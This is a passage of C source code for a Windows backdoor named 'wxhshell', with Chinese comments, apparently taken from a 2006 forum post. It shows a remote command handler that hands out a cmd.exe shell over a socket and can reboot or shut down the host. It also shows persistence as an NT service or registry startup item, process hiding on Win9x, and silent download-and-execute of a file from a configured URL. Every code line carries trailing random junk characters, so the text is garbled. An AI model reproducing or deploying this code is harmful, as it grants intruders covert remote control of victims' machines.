  case '?': { Y&~M7TYb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s'L?;:)dyB  
    break; a+?~;.i~  
  } *{5>XH{ x  
  // 安装  Oh`2tc-  
  case 'i': { (X}@^]lpa  
    if(Install()) 1q]c7"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AuCWQ~  
    else FT/amCRyT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HC7JMj  
    break; U8O(;+  
    } zj%cQkZ  
  // 卸载 1S%}xsR0  
  case 'r': { \+Y!ILOI  
    if(Uninstall()) GDPo`# ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HFS+QwHW  
    else jvs[ /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAXX}"l6s  
    break; |Td5l?  
    } FC}oL"kk  
  // 显示 wxhshell 所在路径 >n!ni(  
  case 'p': { ~HDdO3  
    char svExeFile[MAX_PATH];  r(`nt-o@  
    strcpy(svExeFile,"\n\r"); 7& 6Y  
      strcat(svExeFile,ExeFile); _/ Os^>R  
        send(wsh,svExeFile,strlen(svExeFile),0); %EI<@Ps8c  
    break; DU{bonR`  
    } @ yxt($G  
  // 重启 _N'75  
  case 'b': { )|]Z>>%t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )+Y&4Qu  
    if(Boot(REBOOT)) hI~SAd ,#A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k<:k "7  
    else { o4)hxs  
    closesocket(wsh); TnE+[.Qu  
    ExitThread(0); /F~X,lm*~  
    } +R[4\ hC0Y  
    break; oJY[{-qW  
    } #@Y/{[s|@  
  // 关机 2k1aX~?  
  case 'd': { QnKC#   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Bk U+=|J  
    if(Boot(SHUTDOWN)) )saR0{e0N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tWD|qg_  
    else { 9?`RR/w  
    closesocket(wsh); O9]\Q@M.  
    ExitThread(0); LSkk;)'2K  
    } OVswt  
    break; =n0*{~r  
    } 8/Rm!.8+~  
  // 获取shell MF.[8Zb  
  case 's': { T;?+kC3  
    CmdShell(wsh); K.DXJ UR  
    closesocket(wsh); WC-_+9)2&  
    ExitThread(0); vJC f~'  
    break; t ;-L{`mW  
  } H_B~P%E@]  
  // 退出 =!<G!^  
  case 'x': { mG(N:n%*K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kRot7-7I|  
    CloseIt(wsh); +d39f-[  
    break; E $6ejGw-  
    } 0Nr\2|  
  // 离开 kuS/S\Z5K  
  case 'q': { 3Gd0E;3sk~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I@./${o  
    closesocket(wsh); w O!u!I  
    WSACleanup(); BGqa-d  
    exit(1); CC8k&u,  
    break; aRwnRii  
        } f7+Cz>R  
  } (9GbG"   
  } ./w{L"E  
R6@uM<  
  // 提示信息 ^:DyT@hQB5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F6dr  
} gdi`x|0  
  } yQ[u3tI  
w0Ij'=:  
  return; Y @}FL;3  
} m6U8)!)T  
s~$zWx@v  
// shell模块句柄 =`p&h}h-L  
int CmdShell(SOCKET sock) l$XA5#k  
{ hC>wFC  
STARTUPINFO si; {;k_!v{  
ZeroMemory(&si,sizeof(si)); (cs~@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K`4GU[ul  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X8CVY0<o  
PROCESS_INFORMATION ProcessInfo; GS%b=kc  
char cmdline[]="cmd"; dVGbe07  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #nEL~&  
  return 0; \A(5;ZnuD  
} #x~_`>mDN  
 _^T}_  
// 自身启动模式 yGEb7I$h  
int StartFromService(void) v2J0u:#,  
{ Q!$IQJ]|Y  
typedef struct D'L{wm  
{ \ X$)vK  
  DWORD ExitStatus; -P#nT 2  
  DWORD PebBaseAddress; ;.s: X  
  DWORD AffinityMask; Kbas-</Si  
  DWORD BasePriority; "DjU:*'  
  ULONG UniqueProcessId; =Ahw%`/&}]  
  ULONG InheritedFromUniqueProcessId; v*r9j8  
}   PROCESS_BASIC_INFORMATION; g rbTcLSF  
"$8w.C  
PROCNTQSIP NtQueryInformationProcess; &;v!oe   
;BI)n]L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s*JE)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3qo e^e  
k18$JyaG  
  HANDLE             hProcess; yWHne~!  
  PROCESS_BASIC_INFORMATION pbi; X47Ol  
3w'W~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jz$ >k$!UD  
  if(NULL == hInst ) return 0; ;0j*>fb\q7  
k/#>S*Ne  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u(hC^T1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 263*: Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); btQet.  
@^CG[:|  
  if (!NtQueryInformationProcess) return 0; H8i+'5x,?  
;3 UvkN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3;y_mg  
  if(!hProcess) return 0; E@pFTvo  
F= i!d,S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NI\H \#bJ  
xF8 :^'  
  CloseHandle(hProcess); /=ylQn3 *  
(C`@a/q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RVP18ub.S  
if(hProcess==NULL) return 0; z!CD6W1n  
$L&BT 0  
HMODULE hMod; AbZ:(+@cP  
char procName[255]; XV5`QmB9  
unsigned long cbNeeded; +/q0Y`v  
Z| L2oc e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Cr1,Po  
&<h?''nCy  
  CloseHandle(hProcess); R 3G@ G  
iQ{z6Qa  
if(strstr(procName,"services")) return 1; // 以服务启动 GCH[lb>IJv  
UUm |@  
  return 0; // 注册表启动 XU-*[\K  
} {!t=n   
g7Z9F[d  
// 主模块 DMMLzS0A  
int StartWxhshell(LPSTR lpCmdLine)  _8S4Q!  
{ d*%Mv[X:<  
  SOCKET wsl; kY!C_kFcn  
BOOL val=TRUE; i4VK{G~g"  
  int port=0; $e1:Q#den2  
  struct sockaddr_in door; V6+Zh>'S  
%MuaW(I o  
  if(wscfg.ws_autoins) Install(); H),RA]S  
f0FP9t3k  
port=atoi(lpCmdLine); !a[$)c  
F[`vH  
if(port<=0) port=wscfg.ws_port; W.$6 pzB(  
ee<H@LeG  
  WSADATA data; J@<!q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G>0)I  
Nt,~b^9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {F!v+W>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u _X} -U  
  door.sin_family = AF_INET; ^j iE9k)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ n_sfT6)B  
  door.sin_port = htons(port); |."G?*  
h0XH`v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bb_Q_<DTs  
closesocket(wsl); f9F2U )  
return 1; m&cvU>lC  
} I-{^[pp  
%^!aB  
  if(listen(wsl,2) == INVALID_SOCKET) { H;wR  
closesocket(wsl); >{F!ntEj  
return 1; b[0S=e G  
} zn^v!:[  
  Wxhshell(wsl); O+vcs4  
  WSACleanup(); OQc{ V  
C9pnU,[  
return 0; N(BiOLZL6  
j%5a+(H,z;  
} x~Cz?ljbn  
HTN$ >QTI  
// 以NT服务方式启动 3W'FcE)|E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o}W;Co  
{ ',#   
DWORD   status = 0; "ZqEP R)  
  DWORD   specificError = 0xfffffff; ZM 8U]0[X  
BPiiexTV9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jYk5~<\k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dq2@6xd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z>h{` X\2  
  serviceStatus.dwWin32ExitCode     = 0; yDuq6`R*  
  serviceStatus.dwServiceSpecificExitCode = 0; Pl?}>G  
  serviceStatus.dwCheckPoint       = 0; vG3M5G  
  serviceStatus.dwWaitHint       = 0; ki4Xp'IK  
 < GU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Of&"U/^  
  if (hServiceStatusHandle==0) return; ?V?<E=13  
yF;?Hg  
status = GetLastError(); o"4E+1qwM  
  if (status!=NO_ERROR) GVZTDrC  
{ "?[7#d])  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -U:2H7  
    serviceStatus.dwCheckPoint       = 0; `/c@nxh  
    serviceStatus.dwWaitHint       = 0; 1~L\s}|2d  
    serviceStatus.dwWin32ExitCode     = status; 5f{wJb2  
    serviceStatus.dwServiceSpecificExitCode = specificError; [x|)}P7%s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  RY9. n  
    return; Z:TFOnJ  
  } S[ ^nSF  
g+3Hwtl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |C4o zl=O?  
  serviceStatus.dwCheckPoint       = 0; Fq4lXlSB  
  serviceStatus.dwWaitHint       = 0; K?JV]^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +9jivOmK  
} `xGT_0&ck  
@Rf^P(  
// 处理NT服务事件,比如:启动、停止 tbS#^Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S<9gyW  
{ hWm0$v 1p  
switch(fdwControl) $i -zMa  
{ b( 1 :w"wD  
case SERVICE_CONTROL_STOP: k1m'Ka-  
  serviceStatus.dwWin32ExitCode = 0; >-eS&rma  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }9 ?y'6l  
  serviceStatus.dwCheckPoint   = 0; #:Xa'D+  
  serviceStatus.dwWaitHint     = 0; Z]7tjRvq)  
  { oo\IS\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gj*SPU  
  } f:&)"  
  return; IBDVFA  
case SERVICE_CONTROL_PAUSE: =~ '^;D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7<vy;"wB  
  break; !9PX\Xbn  
case SERVICE_CONTROL_CONTINUE: *iYMX[$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Z7)x7 z  
  break; EFeAr@nj  
case SERVICE_CONTROL_INTERROGATE: A^t"MYX@  
  break; R7,p ukK  
}; UL[uh@4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b70AJe=  
} vLr&ay!w  
{x|MA(NO  
// 标准应用程序主函数 =8@RKG`>;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZDfS0]0F  
{ 0xLkyt0  
d0Tg qO{  
// 获取操作系统版本 *0lt$F$~b  
OsIsNt=GetOsVer(); K1<k+t/V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JLml#Pu4  
g4i #1V=  
  // 从命令行安装 "7:u0p!  
  if(strpbrk(lpCmdLine,"iI")) Install(); KjC[q  
^^7gDgT  
  // 下载执行文件 n00z8B1j(l  
if(wscfg.ws_downexe) { UYH|?Jw!N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4I z.fAw  
  WinExec(wscfg.ws_filenam,SW_HIDE); f^~2^p 1te  
} M.X}K7Z_/  
lu3Q,W  
if(!OsIsNt) { p?}&)Un  
// 如果时win9x,隐藏进程并且设置为注册表启动 t6j-?c('  
HideProc(); ` 4OMZMq  
StartWxhshell(lpCmdLine); aE}=^%D  
} \;i G{}(  
else KLON;  
  if(StartFromService()) Z`|>tbOfZ  
  // 以服务方式启动 2UQN*_  
  StartServiceCtrlDispatcher(DispatchTable); FX cc1X/  
else O0-> sR  
  // 普通方式启动 "--/v. Cs  
  StartWxhshell(lpCmdLine); &:-GI)[o  
C"(_mW{@  
return 0;  I.UjST  
}
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只看该作者 1 发表于: 2006-10-10
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